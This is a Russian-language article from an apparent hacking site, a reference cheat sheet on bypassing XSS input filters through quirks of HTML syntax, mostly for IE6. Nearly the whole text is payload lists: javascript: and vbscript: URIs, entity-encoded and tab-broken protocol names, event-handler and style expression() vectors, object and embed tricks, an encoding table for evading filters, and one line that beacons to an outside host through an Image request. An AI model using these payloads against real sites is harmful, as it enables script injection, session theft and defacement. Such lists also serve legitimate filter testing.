HackinG-EvolutioN
Главная | RSS
Меню сайта
Категории каталога
Взлом в общем [5]
Ваша безопасность [3]
Новичкам обо всём [1]
Защита и вычисление [0]
Взлом сайтов и серверов [3]
Взлом e-mail и ICQ [0]
Взлом компьютеров [3]
Мобильная связь, фрикинг [5]
Другие статьи [2]
Главная » Статьи » Взлом сайтов и серверов

Справочник по XSS
Справочник по XSS

Особенности синтаксиса HTML 

Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы. В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры. 
 
Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ огрничителем. 
 
  * Разделители атрибутов тега. Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки. 
  
HTML
  <image/src="1.png"/alt="Подсказка"/border="0">
  <image src="1.png" alt="Подсказка" border="0">
  <image
  src="1.png"
  alt="Подсказка"
  border="0"> 
 
  <image src="1.png"alt="Подсказка"border="0">
 

  * Ограничители атрибутов тега. Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать. 
  

  
HTML
  <image src="" alt="Моя подсказка" border="0">
  <image src="" alt='Моя подсказка' border="0">
  <image src="" alt=`Моя подсказка` border="0">
  <image src="" alt=Подсказка border="0">
 
* Кодировки символов. Расшифровка символов в скрипте происходит до его выполнения: 

 

HTML
  <img src=javascript:alert(&quot;ok&quot;)>
  <img src=javascript:alert(&#039;ok&#039;)>
  <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58
  &#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41>
  <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
 
  * Ограничители символьных литералов в скриптах. 
HTML
  <img src=javascript:alert('ok')>
  <img src=javascript:alert("ok")>
  <img src=javascript:a=/ok/;alert(a.source)>
  <img src=javascript:alert(String.fromCharCode(111,107))>
 
  * Обход фильтрации некоторых символов 
HTML
  <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>
  (замена пробела на /**/)
 
 * Способы запуска скриптов. Несколько способов автоматического запуска скриптов: 
HTML
  <script>alert('ok')</script>
  <script src=1.js></script> 
 
  <body onLoad=alert('ok')>
  <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
  <image src=1.png onload=alert('ok')>
  <image src=javascript:alert('ok')>
  <image src="" onerror=alert('ok')>
  <hr style=background:url(javascript:alert('ok'))>
  <span style=top:expression(alert('ok'))></span> 
 
  <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span>
  (срабатывает только один раз)
  <style type="text/css">@import url(javascript:alert('ok'));</style>

  <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
  value=javascript:alert('ok')></object>
  <embed src=javascript:alert('ok');this.avi>
  <embed src=javascript:alert('ok');this.wav> 
 
  <iframe src=javascript:alert('ok')> (только в IE)
  <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по
  ссылке)
  <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> 
  (запуск только при клике по ссылке) 
 
  <br SIZE="&{alert('XSS')}">
(только Netscape 4.x)
 
 
  * Различные скриптовые протоколы, способы их написания 
HTML
  <img src=javascript:alert()>
  <img src=vbscript:AleRt()>
  <img src=JaVasCriPt:alert()>
  <img src=" javascript:alert()"> (пробелы до слова javascript) 
 
  <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
  <img src=javascript&#9:alert()>
  <img src=javascript&#10:alert()> 
 
  <img src=javascript&#13:alert()>
  <img src="javascript :alert()"> (перед двоеточием - символ табуляции) 
  <img src="java scri
  pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки)
 
 * Вставки скриптов в style. Операторы скрипта в атрибуте style нужно разделять "\;". 
HTML
  <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
 
  * Специальные теги. 
HTML
  <image src="1.png" alt="" border="0"> (тег img и image работают одинаково)
  <plaintext> (все, что будет идти после этого тега, будет восприниматься как
  обычный текст - не HTML)
  <textarea> (все, что будет идти после этого тега, будет восприниматься как
  обычный текст - не HTML) 
 
  <xml> (все, что будет идти после этого тега, не будет отображаться)
 

  * Таблица часто применяемых кодов:

Text

  Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка URL-кодировка
  " &#34 &#x22; &quot %22
  ' &#39 &#x27; %27
  ` &#96 &#x60; %60
  <пробел> &#32 &#x20; +
  <табуляция> &#9 &#x09; %09
  <возврат каретки> &#13 &#x0D; %0D
  = &#61 &#x3D; %3D
  < &#60 &#x3C; &lt %3C
  > &#62 &#x3E; &gt %3E
  \ &#92 &#x5C; %5C
  % &#37 &#x25; %25
  + &#43 &#x2B; %2B
  <короткий дефис> &#173 &#xAD; &shy %AD
  & &#38 &#x26; &amp %26
 

 *-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке). 

 
См. также: http://ha.ckers.org/xss.html
Категория: Взлом сайтов и серверов |
Просмотров: 2099
Друзья сайта
Поиск
Статистика
Copyright MyCorp © 2025
Конструктор сайтовuCoz